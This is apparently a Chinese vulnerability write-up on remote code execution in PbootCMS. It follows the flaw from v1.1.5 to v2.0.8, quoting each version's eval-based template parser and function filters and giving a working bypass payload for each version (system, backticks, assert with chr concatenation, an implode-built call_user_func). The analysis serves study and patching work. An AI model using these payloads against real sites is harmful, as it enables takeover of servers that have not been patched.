PbootCMS任意代码执行的前世今生

行业资讯 admin 发布时间:2024-04-03 浏览:7 次

PbootCMS (v1.1.5及其以下)

漏洞复现

poc:{pboot:if(system(whoami))}{/pboot:if}

漏洞分析

漏洞点位于/apps/home/controller/ParserController.phppublic function parserIfLabel($content){ $pattern = /\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; // 对于无参数函数不执行解析工作 if (preg_match(/[\w]+\(\)/, $matches[1][$i])) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";}); ......这里有通过两个正则表达式后即可进入eval函数且$content

是可控的

第一个正则表达式限制格式格式必须为
{pboot:if(payload)}{/pboot:if}

形式

第二个正则表达式不允许出现字母后面加
()的情况,如phpinfo()这里很好绕过,比如phpinfo(1)system(任意命令)

PbootCMS (v1.1.6-v1.1.8)

洞分析

1.1.6对之前存在的任意代码执行漏洞进行了修补,增加了部分函数黑名单,代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { // IF语句需要过滤的黑名单 $black = array( chr, phpinfo, eval, passthru, exec, system, chroot, scandir, chgrp, chown, shell_exec, proc_open, proc_get_status, error_log, ini_alter, ini_set, ini_restore, dl, pfsockopen, syslog, readlink, symlink, popen, stream_socket_server, putenv, unlink, path_delete, rmdir, session, cookie, mkdir, create_dir, create_file, check_dir, check_file ); $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; foreach ($black as $value) { if (preg_match(/ . $value . ([\s]+)?\(/i, $matches[1][$i])) { $danger = true; break; } } // 如果有危险字符,则不解析该IF if ($danger) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";});显然黑名单有漏网之鱼,但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用,但是依然有可以用的,如base64_decode,反引号等payload1{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}payload2{pboot:if(var_dump(`whoami`))}{/pboot:if}

PbootCMS(v1.1.9-v1.3.2)

发现黑名单有不足于是改成了白名单,代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; $white_fun = array( date ); // 不允许执行带有函数的条件语句 if (preg_match_all(/([\w]+)([\s]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if (function_exists($value) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 如果有危险字符,则不解析该IF if ($danger) { continue; } else { $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串 } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";}); ......如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路payload1{pboot:if(syste\m(whoami));//)}{/pboot:if}payload2{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system后面的版本添加了正则匹配eval,其实也没啥用,上面两个payload一样可以用

PbootCMS(v1.3.3-v2.0.2)

过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束然而留言部分任然存在任意代码执行,代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; $white_fun = array( date, in_array, explode, implode ); // 还原可能包含的保留内容,避免判断失效 $matches[1][$i] = $this->restorePreLabel($matches[1][$i]); // 解码条件字符串 $matches[1][$i] = decode_string($matches[1][$i]); // 带有函数的条件语句进行安全校验 if (preg_match_all(/([\w]+)([\\\s]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match(/^eval$/i, $value)) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 不允许从外部获取数据 if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i, $matches[1][$i])) { $danger = true; } // 如果有危险函数,则不解析该IF if ($danger) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";});禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过payload{pboot:if(system (whoami))}{/pboot:if}

PbootCMS(v2.0.3)

增加了外部获取数据过滤部分,代码如下if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i, $matches[1][$i])) { $danger = true; }并不影响我们使用system函数,提交上一个版本payload,发现pboot:if

被删掉了

apps/home/controller/IndexController.php

里第270行

使用了将
pboot:if替换为空所以直接双写绕过payload{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}

PbootCMS(v2.0.4-v2.0.7)

使用上一个版本payload,发下双写也被过滤了改动的地方位于/core/basic/Model.php

,增加了如下代码

也就是再过滤了一次pboot:if,然而这种替换为空是根本没用的,于是三重写绕过,但是v2.0.4还增加了正则黑名单的过滤,禁用了system

等函数,代码如下

正则匹配黑名单加强,代码如下
if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i, $matches[1][$i])) { $danger = true; }发现漏掉了assert函数,没用过滤chr函数,所以直接拼接绕过payload{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}

PbootCMS(v2.0.8)

v2.0.8开始采用递归替换pboot:if,位于/app/home/controller/MessageController.php第61行$field_data = preg_replace_r(/pboot:if/i, , $field_data);跟进一下,位于/core/function/handle.phpfunction preg_replace_r($search, $replace, $subject){ while (preg_match($search, $subject)) { $subject = preg_replace($search, $replace, $subject); } return $subject;}这样就无法采用双写绕过了,正则表达式处改动了,导致函数+空格被过滤,代码如下if (preg_match_all(/([\w]+)([\s\\\\]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if (function_exists($value) && ! in_array($value, $white_fun)) { $danger = true; break; } } }后台不会经过preg_replace函数的处理,使用的白名单里implode函数任然可以实现任意代码执行payload{pboot:if(implode(, [c,a,l,l,_,u,s,e,r,_,f,u,n,c])(implode(,[s,y,s,t,e,m]),implode(,[w,h,o,a,m,i])))}{/pboot:if}后记PbootCMS的最新版本v3.0.1已经发布修复了该漏洞,从v1.0.1最开始的第一个版本到v2.0.9历时2年经过不断的漏洞修复,但是每次修复后就被绕过,不由得引发一系列反思

- End -

精彩推荐

对Hypervisor进行模糊测试

AD域中的ACL攻防探索

微软认为CCleaner是潜在危险软件

WI-FI安全渗透剖析

觉得内容不错就点个“在看”吧!

在线咨询

点击这里给我发消息售前咨询专员

点击这里给我发消息售后服务专员

在线咨询

免费通话

24h咨询:400-888-8888


如您有问题,可以咨询我们的24H咨询电话!

免费通话

微信扫一扫

微信联系
返回顶部